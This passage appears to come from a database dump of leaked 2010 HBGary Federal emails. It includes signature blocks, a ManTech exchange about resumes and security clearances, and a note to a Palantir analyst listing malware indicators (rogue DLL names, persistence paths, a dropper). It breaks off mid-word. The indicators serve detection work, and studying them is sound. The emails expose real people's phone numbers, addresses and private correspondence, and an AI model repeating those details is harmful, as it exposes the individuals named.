@HBGaryPR\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n-- \r\nKaren Burke\r\nDirector of Marketing and Communications\r\nHBGary, Inc.\r\n650-814-3764\r\nkaren@hbgary.com\r\nFollow HBGary On Twitter: @HBGaryPR\r\n&lt;Aaron Barr Headshot.jpg&gt;\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',8420,'aaron_hbgary_com/8420.html'),(12825,'2010-10-07','\"Gage, Jeremy R\" <Jeremy.Gage@ManTech.com>','/aaron@hbgary.com/new/1297009414.M32790P14101Q7680.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Resumes','Yes.  On a limited basis (i.e. they must rockstar quality), the customer will allow them on site with just TS/SCI with the requirement/understanding they will be immediately submitted for the FSP.  If you like, remove identifying data from the resumes and just give me their initials.  Thanks.\r\n\r\nJeremy\r\n\r\n________________________________________\r\nFrom: Aaron Barr [aaron@hbgary.com]\r\nSent: Thursday, October 07, 2010 11:47 AM\r\nTo: Gage, Jeremy R\r\nSubject: Resumes\r\n\r\nOK.  Before I send them I have a question.  Is there any flexibility on clearances?  All the guys I have are TS/SCI with CI poly.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478',10699,'aaron_hbgary_com/10699.html'),(12826,'2010-10-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009417.M731724P14101Q7681.eml','\"Aaron Zollman\" <azollman@palantir.com>','Re: Data','Aaron Barr is the CEO of HBGary Federal, a services company focused on delivering specialized threat intelligence, incident response, and information operations capabilities to the IC, DoD, and Federal agencies.&nbsp;&nbsp;Previously, he served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grumman’s Intelligence Systems Division, and as the Chief Engineer for Northrop Grumman\'s Cyber Campaign. Prior to joining Northrop Grumman, Mr. Barr served 12 years in the United States Navy as an enlisted cryptologist, senior signals analyst, software programmer, and system administrator. He served tours in Misawa, Japan, Norfolk Virginia, Pensacola Florida, and Rota Spain. While serving in Norfolk Virginia, he was accepted into the Enlisted Education Advancement Program (EEAP) where he finished a Bachelor of Science in Biology, minoring in Chemistry, later completing a Masters in Computer Science with an emphasis in Computer Security. Mr. Barr is a frequent speaker at Intelligence Community and DoD conferences and symposiums on a wide variety of topics including cybersecurity, social media, and emerging technologies.On Oct 7, 2010, at 11:46 AM, Aaron Zollman wrote:Unfortunately, I don’t have time to get together and go over this before Monday, as I leave for New York at noon tomorrow.&nbsp;What’s the best way to integrate these notes into the data we currently have? We could associate the email addresses and IP addresses as tagged TMC output with iprinp.dll, and the strings just as associated properties. That’s my best idea so far.&nbsp;Also:&nbsp;1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;We are currently scheduled to rehearse at 7pm at the Ritz-Carlton on Monday evening. Can you make that?2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Shyam will be MC’ing the presentations again this year, and would like bios to introduce us. I couldn’t find one for you on the hbgary website; could you provide it? My standard bio reads:&nbsp;As an embedded analyst with Palantir Technologies\' rapidly growing cybersecurity practice, Aaron Zollman works with deployments in the US Government and commercial security operations centers to model network attackers using both technical and non-technical data. Prior to joining Palantir, Aaron spent a decade in network operations with the intelligence community, managing the secure delivery of operational data to network analysis centers worldwide. During his time with the US government, he was awarded a patent for a method of applying visualization techniques to software debugging.Thanks,&nbsp;_________________________________________________________Aaron ZollmanPalantir Technologies | Embedded Analystazollman@palantir.com&nbsp;| 202-684-8066&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, October 07, 2010 11:39 AMTo:&nbsp;Aaron ZollmanSubject:&nbsp;Data&nbsp;Let me know we can get together and go over this if you want. &nbsp;We might want to abstract some of the data since it came from customer engagements.&nbsp;I am pouring through some other log files that I have. More info to follow.&nbsp;\\rasauto32.dllThe name rasauto32.dll is not legitimate. Look for any instance.\\iprinp.dllThe name iprinp.dll is not legitimate. Look for any instance.\\ati.exeAti.exe is a subcomponent of rasauto32.dll. Look for any instance.\\windows\\ntshrui.dllThe exact patch to ntshrui.dll must be used. The path provides the persistence mechanism.\\windows\\system\\ctfmon.exeCtfmon.exe is a renamed version of rasauto32.dll. The exact path must be used. There is a valid ctfmon.exe in the \\windows\\system32 directory.\\iisstart[1].htmThis internet history artifact can indicate a system attempted to communicate to a command and control server.\\111.exe111.exe is the dropper for rasauto32.dll. It can exist in any directory.\\iam.dll&nbsp;macrosoft corp.Some iprinp.dll variants create a patc